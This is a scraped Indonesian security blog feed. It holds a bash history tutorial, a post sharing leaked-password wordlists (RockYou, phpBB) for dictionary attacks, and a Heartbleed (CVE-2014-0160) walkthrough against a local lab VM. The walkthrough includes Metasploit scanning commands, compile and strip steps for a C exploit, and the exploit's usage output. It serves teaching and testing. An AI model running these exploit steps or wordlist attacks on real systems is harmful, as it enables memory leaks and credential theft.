<a href="http://1.bp.blogspot.com/-yq00bFWcmD4/U31zMeTsKgI/AAAAAAAABeI/9j2HyCb7Y1w/s1600/Screenshot+from+2014-05-22+10:46:45.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-yq00bFWcmD4/U31zMeTsKgI/AAAAAAAABeI/9j2HyCb7Y1w/s1600/Screenshot+from+2014-05-22+10:46:45.png" height="254" width="320" /></a></div>
<br />
Jika<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ !100</span></pre>
<br />
Maka dia akan memanggil perintah <u>ke-seratus</u> yang tercatat dalam file history<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-Bv45kTJ-MYQ/U31zlirJUjI/AAAAAAAABeQ/pA0aB47RPFk/s1600/Screenshot+from+2014-05-22+10:48:28.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-Bv45kTJ-MYQ/U31zlirJUjI/AAAAAAAABeQ/pA0aB47RPFk/s1600/Screenshot+from+2014-05-22+10:48:28.png" height="254" width="320" /></a></div>
<br />
<b>!ps</b><br />
Memanggil perintah terakhir yang <u>didahului kata "ps"</u><br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ ps aux | grep -i zsh</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ ls -lahrt</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ id</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ whoami</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ !ps</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-d-WC6i5lyjY/U311YQIbVcI/AAAAAAAABeY/bq8eLJ82Apg/s1600/Screenshot+from+2014-05-22+10:56:10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-d-WC6i5lyjY/U311YQIbVcI/AAAAAAAABeY/bq8eLJ82Apg/s1600/Screenshot+from+2014-05-22+10:56:10.png" height="254" width="320" /></a></div>
<br />
Jika<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ !ls</span></pre>
<br />
Maka dia akan memanggil ulang perintah terakhir yang <u>didahului oleh kata "ls"</u><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-A7yPMxDNhIY/U311lo_sLcI/AAAAAAAABeg/dY-4p1-dn8E/s1600/Screenshot+from+2014-05-22+10:56:59.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-A7yPMxDNhIY/U311lo_sLcI/AAAAAAAABeg/dY-4p1-dn8E/s1600/Screenshot+from+2014-05-22+10:56:59.png" height="254" width="320" /></a></div>
<br />
<b>!!:$</b><br />
<br />
Memanggil argument dari perintah sebelumnya<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ ls /dev/null</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ file !!:$</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-TLws9d0H0Cc/U3141eygFXI/AAAAAAAABeo/IgVvGWukf6w/s1600/Screenshot+from+2014-05-22+11:10:47.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-TLws9d0H0Cc/U3141eygFXI/AAAAAAAABeo/IgVvGWukf6w/s1600/Screenshot+from+2014-05-22+11:10:47.png" height="218" width="320" /></a></div>
<br />
<b>!!:2</b><br />
Memanggil argument <u>kedua</u> dari perintah sebelumnya<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ cp /etc/passwd /tmp/passwd</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ file !!:2</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-PlClyoYaEgw/U316A-2Tf-I/AAAAAAAABew/AAeYD8gje0U/s1600/Screenshot+from+2014-05-22+11:15:42.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-PlClyoYaEgw/U316A-2Tf-I/AAAAAAAABew/AAeYD8gje0U/s1600/Screenshot+from+2014-05-22+11:15:42.png" height="218" width="320" /></a></div>
<br />
Jika<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ echo !!:1</span></pre>
<br />
Maka dia akan memanggil <u>argument</u> pertama dari perintah <u>sebelumnya</u><br />
<u><br /></u>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-JEamIsSAUzM/U316eGI_hyI/AAAAAAAABe4/M5RkV7ExuSo/s1600/Screenshot+from+2014-05-22+11:17:51.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-JEamIsSAUzM/U316eGI_hyI/AAAAAAAABe4/M5RkV7ExuSo/s1600/Screenshot+from+2014-05-22+11:17:51.png" height="218" width="320" /></a></div>
<u><br /></u>
<b>!cp:1</b><br />
Memanggil argument <u>pertama</u> dari perintah "<u>cp</u>" yang terakhir kali dilakukan<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ file !cp:1</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-oCqNC8L_T8s/U317KgMfJnI/AAAAAAAABfA/YsqPwNLZlbs/s1600/Screenshot+from+2014-05-22+11:20:30.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-oCqNC8L_T8s/U317KgMfJnI/AAAAAAAABfA/YsqPwNLZlbs/s1600/Screenshot+from+2014-05-22+11:20:30.png" height="218" width="320" /></a></div>
<br />Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com0tag:blogger.com,1999:blog-4322924474312123143.post-21210682997691065742014-04-29T12:27:00.000+07:002014-04-29T12:27:49.676+07:00Password Cracking: Wordlist Sharing for Dictionary AttackHalo para pembaca setia double-dragon, jangan bosan membaca artikel-artikel dari kami ya? Pada kesempatan ini, saya akan berbagi <i>wordlist</i> untuk <i>dictionary attack</i> kepada kalian.<br />
<br />
<blockquote class="tr_bq">
<b>Note: Semua file saya upload ke dalam <i>account</i> <a href="https://drive.google.com/">Google Drive</a> saya, mohon untuk tidak membuat mirror file-file ini, karena saya berniat untuk menghitung <i>download count</i> dari file-file ini.</b></blockquote>
<br />
Wordlist ini adalah wordlist yang paling sering saya gunakan dalam melakukan <i>research</i> <i>password cracking</i>. Adapun tools yang paling sering saya gunakan untuk melakukan <i>research</i> <i>password cracking adalah</i>:<br />
<ol>
<li><a href="http://www.openwall.com/john/">John The Ripper</a></li>
<li><a href="http://www.aircrack-ng.org/">Aircrack-ng</a></li>
<li><a href="http://sqlmap.org/">SQLMap</a></li>
</ol>
<div>
<br />
<b>HOW TO MANAGE YOUR WORDLIST</b><br />
<br />
Jika kamu berniat mendownload semua wordlist yang saya berikan, ikuti langkah berikut. Karena di tutorial saya yang berikutnya, saya akan menggunakan semua wordlist ini untuk melakukan password cracking. Agar kamu tidak kehilangan arah, atau lupa dimana kamu meletakan wordlist berikut, ada baiknya kamu mengikuti peletakan file-file ini.<br />
<br />
Buat wordlists directory di $HOME directory kamu<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ cd ~</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ mkdir wordlists</span></pre>
<br />
Pindahkan wordlist yang kamu miliki di directory ~/wordlists<br />
<br />
<b>NOTE: Jika kamu menggunakan <a href="http://www.kali.org/">Kali Linux</a>, simpan wordlists kamu di directory</b><br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">/usr/share/wordlists</span></pre>
<br />
Berikut ini wordlist yang bisa kamu gunakan:</div>
<div>
<a name='more'></a><b>RockYou</b><br />
<b><br /></b>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-XZPCpUU8fi0/U18y2A_IihI/AAAAAAAABUE/N1OaPAS37HA/s1600/Screenshot_from_2014-04-29-12:04:02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-XZPCpUU8fi0/U18y2A_IihI/AAAAAAAABUE/N1OaPAS37HA/s1600/Screenshot_from_2014-04-29-12:04:02.jpg" height="187" width="320" /></a></div>
<br /></div>
<div>
Ukuran: 139921497 bytes</div>
<div>
Jumlah Password: 14.344.391 baris</div>
<div>
Download Link: <a href="https://drive.google.com/file/d/0B-5busctKRNZQ21pRndSU2VEY00/edit?usp=sharing">https://drive.google.com/file/d/0B-5busctKRNZQ21pRndSU2VEY00/edit?usp=sharing</a></div>
<div>
<br /></div>
<div>
<b>RockYou WithCount</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-r0mdr9FZtnc/U18y_727ZEI/AAAAAAAABUM/KjaqiE4K7Fo/s1600/Screenshot_from_2014-04-29-12:04:56.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-r0mdr9FZtnc/U18y_727ZEI/AAAAAAAABUM/KjaqiE4K7Fo/s1600/Screenshot_from_2014-04-29-12:04:56.jpg" height="187" width="320" /></a></div>
<br />
Ukuran: 254676625 bytes<br />
Jumlah Password: 14.344.391 baris<br />
Download Link : <a href="https://drive.google.com/file/d/0B-5busctKRNZWkpYdzFMcWp1ZWs/edit?usp=sharing">https://drive.google.com/file/d/0B-5busctKRNZWkpYdzFMcWp1ZWs/edit?usp=sharing</a><br />
<br />
<b>John The Ripper</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-Z2L5tQs0us0/U180ABT69bI/AAAAAAAABUY/TTVC4t8cwrQ/s1600/Screenshot_from_2014-04-29-12:09:07.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-Z2L5tQs0us0/U180ABT69bI/AAAAAAAABUY/TTVC4t8cwrQ/s1600/Screenshot_from_2014-04-29-12:09:07.jpg" height="187" width="320" /></a></div>
<br />
Ukuran: 21935 bytes<br />
Jumlah Password: 3170 baris<br />
Download Link: <a href="https://drive.google.com/file/d/0B-5busctKRNZN2xHSHR5alIwZlE/edit?usp=sharing">https://drive.google.com/file/d/0B-5busctKRNZN2xHSHR5alIwZlE/edit?usp=sharing</a><br />
<br />
<b>Cain and Abel</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-J0jkxiix3VE/U180yqHaUOI/AAAAAAAABUg/b3Hp0tNPPbo/s1600/Screenshot_from_2014-04-29-12:12:30.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-J0jkxiix3VE/U180yqHaUOI/AAAAAAAABUg/b3Hp0tNPPbo/s1600/Screenshot_from_2014-04-29-12:12:30.jpg" height="187" width="320" /></a></div>
<br />
Ukuran : 3149586 bytes<br />
Jumlah Password: 306706 baris<br />
Download Link: <a href="https://drive.google.com/file/d/0B-5busctKRNZN1NpVm1PVE5yX00/edit?usp=sharing">https://drive.google.com/file/d/0B-5busctKRNZN1NpVm1PVE5yX00/edit?usp=sharing</a><br />
<br />
<b>PHPBB</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-1OyiaLgvNXc/U181Wt1I4cI/AAAAAAAABUo/FIkI7DL2bNQ/s1600/Screenshot_from_2014-04-29-12:14:58.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-1OyiaLgvNXc/U181Wt1I4cI/AAAAAAAABUo/FIkI7DL2bNQ/s1600/Screenshot_from_2014-04-29-12:14:58.jpg" height="187" width="320" /></a></div>
<br />
Ukuran: 1574395 bytes<br />
Jumlah Password: 184389 baris<br />
Download Link: <a href="https://drive.google.com/file/d/0B-5busctKRNZM1RvYURkZHdHN0k/edit?usp=sharing">https://drive.google.com/file/d/0B-5busctKRNZM1RvYURkZHdHN0k/edit?usp=sharing</a><br />
<br />
<b>PHPBB WithCount</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-CoSovWAKX4U/U182FaEqySI/AAAAAAAABVA/71hv9_X_GS4/s1600/Screenshot_from_2014-04-29-12:18:01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-CoSovWAKX4U/U182FaEqySI/AAAAAAAABVA/71hv9_X_GS4/s1600/Screenshot_from_2014-04-29-12:18:01.jpg" height="187" width="320" /></a></div>
<br />
Ukuran: 3049507 bytes<br />
Jumlah Password: 184389 baris<br />
Download Link: <a href="https://drive.google.com/file/d/0B-5busctKRNZeERvVjFkaTIwZ2c/edit?usp=sharing">https://drive.google.com/file/d/0B-5busctKRNZeERvVjFkaTIwZ2c/edit?usp=sharing</a><br />
<br />
<b>NOTE: Saya akan melakukan update, segera setelah saya menemukan wordlists yang baik untuk digunakan dalam melakukan password cracking.</b><br />
<br />
Thanks to Google Drive for give me 15 GB file storage for these wordlists<br />
File uploaded by: <a href="https://plus.google.com/+OmegaHanggara-red-dragon">Omega Hanggara</a></div>
Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com5tag:blogger.com,1999:blog-4322924474312123143.post-91889040932440338182014-04-17T23:45:00.000+07:002014-04-18T01:14:48.013+07:00Heartbleed All Mighty: Prove of ConceptIni mungkin menjadi post yang paling ditunggu-tunggu oleh pembaca setia double-dragon. Ya, PoC aka <a href="http://en.wikipedia.org/wiki/Proof_of_concept">Prove of Concept</a>. Berikut link-link yang mungkin berguna bagi kamu dalam memahami Heartbleed Bug<br />
<br />
<ul>
<li><a href="http://double-dragon.blogspot.com/2014/04/heartbleed-all-mighty-easy-explanation.html">Heartbleed All Mighty: Easy Explanation How Does It Works</a></li>
<li><a href="http://double-dragon.blogspot.com/2014/04/heartbleed-all-mighty-how-can-this-be.html">Heartbleed All Mighty: How Can This Be?!</a></li>
<li><a href="http://double-dragon.blogspot.com/2014/04/heartbleed-all-mighty-massive-security.html">Heartbleed All Mighty: Massive Security Bug In OpenSSL</a></li>
</ul>
<div>
Dalam <a href="https://www.facebook.com/omega.hanggara/posts/10200961954571686">status saya tempo lalu</a>, saya sebenarnya hendak meluncurkan PoC dari Heartbleed Bug pada tanggal 11 April. Namun kakak saya <a href="https://www.facebook.com/KrisanAlfa.T">Krisan Alfa</a> menyarankan agar saya meluncurkan serangan ke local server agar tidak timbul kerugian bagi pihak lain. Make sense! Dan salah satu partner saya <a href="https://www.facebook.com/alfathdirk">Alfath</a> juga menyarankan hal yang sama. Jadi saya mengambil keputusan untuk meracik sebuah vulnerable server untuk mewujudkan PoC ini. Thanks both of you, guys! You rocks!</div>
<div>
<br /></div>
<div>
PoC sendiri memiliki struktur yang idelnya (menurut saya) digambarkan dengan susunan seperti ini</div>
<div>
<br /></div>
<div>
<ol>
<li>Introduction of Bug</li>
<li>Explanation how Bug works</li>
<li>Po(Bug)C [Prove of Bug Concept]</li>
<li>Prevent Bug</li>
</ol>
Kita telah melewati pengenalan bug, dan penjelasan bug. Saat ini, saya akan menjelaskan PoC dari bug Heartbleed. </div>
<div>
<br /></div>
<div>
Berikut spesifikasi vulnerable server yang berhasil saya buat</div>
<div>
<ul>
<li>Debian 7.4.0 Wheezy amd64 (available <a href="https://www.debian.org/CD/netinst/#netinst-stable">here</a>)</li>
<li>Kernel 3.2.0-4 (included in Debian 7.4.0)</li>
<li>Apache 2.4.9 (available <a href="http://httpd.apache.org/download.cgi">here</a>)</li>
<li>PHP 5.4.27 (available <a href="http://www.php.net/downloads.php">here</a>)</li>
<li>OpenSSL 1.0.1e (available <a href="https://www.openssl.org/source/">here</a>)</li>
<li>PHPMyAdmin 4.1.13 (available <a href="http://www.phpmyadmin.net/home_page/downloads.php">here</a>)</li>
<li>Server installed on vmplayer 6.0.1</li>
<li>Server IP Address 192.168.145.128</li>
<li>HTTP web service 192.168.145.128:80</li>
<li>HTTPS web service 192.168.145.128:443 (port ini yang akan kita uji)</li>
</ul>
<div>
Berikut tools yang saya gunakan dalam melakukan penetration test</div>
<div>
<br /></div>
<div>
<ul>
<li>Metasploit Bleeding Edge Version 4.9.2-dev (how to install this tool is available <a href="http://double-dragon.blogspot.com/2014/03/how-to-installing-metasploit-bleeding.html">here</a>)</li>
<li>Heartbleed Exploit OpenSSL Coded in C (exploit code is available <a href="https://gist.github.com/omegahanggara/10993814">here</a>)</li>
</ul>
</div>
<div>
<br /></div>
<div>
Dan tahukah kamu, berapa waktu yang saya butuhkan untuk membuat vulnerable server ini? 10 jam! Anyway, back to PoC. And here we go!</div>
</div>
<div>
<a name='more'></a></div>
<div>
<b>Metasploit in Action</b></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-LkdRipKKL9k/U0_6y-jY_8I/AAAAAAAABSI/yoCwTa2hSUY/s1600/Screenshot_from_2014-04-17-11:01:01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-LkdRipKKL9k/U0_6y-jY_8I/AAAAAAAABSI/yoCwTa2hSUY/s1600/Screenshot_from_2014-04-17-11:01:01.jpg" height="314" width="320" /></a></div>
<div>
<br /></div>
<div>
Dalam tutorial ini saya menggunakan auxiliary heartbleed untuk melakukan pemindaian target, untuk mencari tau apakah mesin dapat diretas</div>
<div>
<br /></div>
<div>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">msf > use auxiliary/scanner/ssl/openssl_heartbleed</span></pre>
</div>
<div>
<br /></div>
<div>
Kemudian saya mengatur RHOST dengan IP target yaitu 192.168.145.128</div>
<div>
<br /></div>
<div>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;"><span style="font-size: 15.454545021057129px; line-height: 16.5px;"><span style="color: #858585;">msf auxiliary(</span><span style="color: red;">openssl_heartbleed</span><span style="color: #858585;">) > set RHOSTS 192.168.145.128</span></span></span></pre>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-sYWYPIINUFU/U0_7vDqF7yI/AAAAAAAABSQ/HfOH3qFzYog/s1600/Screenshot_from_2014-04-17-11:05:04.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-sYWYPIINUFU/U0_7vDqF7yI/AAAAAAAABSQ/HfOH3qFzYog/s1600/Screenshot_from_2014-04-17-11:05:04.jpg" height="203" width="320" /></a></div>
<div>
<br /></div>
<div>
Dan</div>
<div>
<br /></div>
<div>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;"><span style="font-size: 15.454545021057129px; line-height: 16.5px;"><span style="color: #858585;">msf auxiliary(</span><span style="color: red;">openssl_heartbleed</span><span style="color: #858585;">) > exploit
</span><span style="color: lime;">[+] 192.168.145.128:443 - Heartbeat response with leak</span><span style="color: #858585;">
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed</span></span></span></pre>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-rKZb-b_jsdk/U0_8N1XV7XI/AAAAAAAABSY/FzZ4fFg76iM/s1600/Screenshot_from_2014-04-17-11:07:08.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-rKZb-b_jsdk/U0_8N1XV7XI/AAAAAAAABSY/FzZ4fFg76iM/s1600/Screenshot_from_2014-04-17-11:07:08.jpg" height="203" width="320" /></a></div>
<div>
<br /></div>
<div>
BOOM! Hasil pemindaian menyatakan bahwa server ini vulnerable terhadap Heartbleed Bug CVE-2014-0160.</div>
<div>
<br /></div>
<div>
<b>Let's Load The Gun!</b></div>
<div>
<br /></div>
<div>
Copy C code di bawah ini atau download, kemudian rename dengan nama heartbleed.c</div>
<div>
<br /></div>
<script src="https://gist.github.com/omegahanggara/10993814.js"></script>
<br />
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-HuvmZXKWN4Y/U0_9r6kcPCI/AAAAAAAABSk/WuPS7iVy2k8/s1600/Screenshot_from_2014-04-17-11:13:20.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-HuvmZXKWN4Y/U0_9r6kcPCI/AAAAAAAABSk/WuPS7iVy2k8/s1600/Screenshot_from_2014-04-17-11:13:20.jpg" height="203" width="320" /></a></div>
<br />
Compile source dengan gcc<br />
<br />
NOTE: Versi GCC yang saya gunakan adalah GCC version: Debian 4.6.3-14 4.6.3<br />
<br />
<b>HOW TO COMPILE WITH DEBIAN</b><br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;">$ </span><span style="background-color: transparent; font-size: 15.454545021057129px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">gcc heartbleed.c -o heartbleed -Wl,-Bstatic -lssl -Wl,-Bdynamic -lssl3 -lcrypto</span></span></pre>
<br />
<b>HOW TO COMPILE WITH ARCH</b><br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;">$ </span><span style="background-color: transparent; font-size: 15.454545021057129px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed</span></span></pre>
<br />
Jika kamu menggunakan DEBIAN based dan GAGAL, coba dengan versi ARCH LINUX!<br />
<br />
Thanks for <a href="https://www.facebook.com/keliatanbego">Damar Bungispo Girhan</a> for pointing me to that problem! :D<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-aJAcw0fmxRI/U0_-JlhWKWI/AAAAAAAABSs/F3hEozrij-I/s1600/Screenshot_from_2014-04-17-11:15:24.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-aJAcw0fmxRI/U0_-JlhWKWI/AAAAAAAABSs/F3hEozrij-I/s1600/Screenshot_from_2014-04-17-11:15:24.jpg" height="203" width="320" /></a></div>
<br />
Setelah itu akan muncul file binary heartbleed pada working directory kamu. Check file binary tersebut dengan perintah:<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;">$ </span><span style="background-color: transparent; font-size: 15.454545021057129px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">file heartbleed
heartbleed: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x475e2360fbc2037f413f14856a779342dbe6e8d8, </span><span style="color: red; font-family: Courier New, Courier, monospace;">not stripped</span></span></pre>
<br />
Lakukan stripping binary file dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;">$ </span><span style="background-color: transparent; font-size: 15.454545021057129px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">strip heartbleed</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-oOtDAZ6NLyk/U0_-8jNjdzI/AAAAAAAABS4/jXjKro7TMGA/s1600/Screenshot_from_2014-04-17-11:18:46.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-oOtDAZ6NLyk/U0_-8jNjdzI/AAAAAAAABS4/jXjKro7TMGA/s1600/Screenshot_from_2014-04-17-11:18:46.jpg" height="203" width="320" /></a></div>
<br />
Kemudian check kembali file binary dengan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;">$ </span><span style="background-color: transparent; font-size: 15.454545021057129px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">file heartbleed
heartbleed: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x475e2360fbc2037f413f14856a779342dbe6e8d8, </span><span style="color: lime; font-family: Courier New, Courier, monospace;">stripped</span></span></pre>
<br />
Lock and loaded!<br />
<br />
<b>How to Use Heartbleed Exploit?</b><br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;">$ </span><span style="background-color: transparent; font-size: 15.454545021057129px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">./heartbleed
[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit
[ =============================================================
[ try --help</span></span></pre>
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;">$ </span><span style="background-color: transparent; font-size: 15.454545021057129px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">./heartbleed --help
[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit
[ =============================================================
[
[ --server|-s <ip/dns> - the server to target
[ --port|-p <port> - the port to target
[ --file|-f <filename> - file to write data to
[ --bind|-b <ip> - bind to ip for exploiting clients
[ --precmd|-c <n> - send precmd buffer (STARTTLS)
[ 0 = SMTP
[ 1 = POP3
[ 2 = IMAP
[ --loop|-l - loop the exploit attempts
[ --type|-t <n> - select exploit to try
[ 0 = null length
[ 1 = max leak
[ n = heartbeat payload_length
[
[ --verbose|-v - output leak to screen
[ --help|-h - this output
[</span></span></pre>
<br />
<b>Shoot the heart!</b><br />
<br />
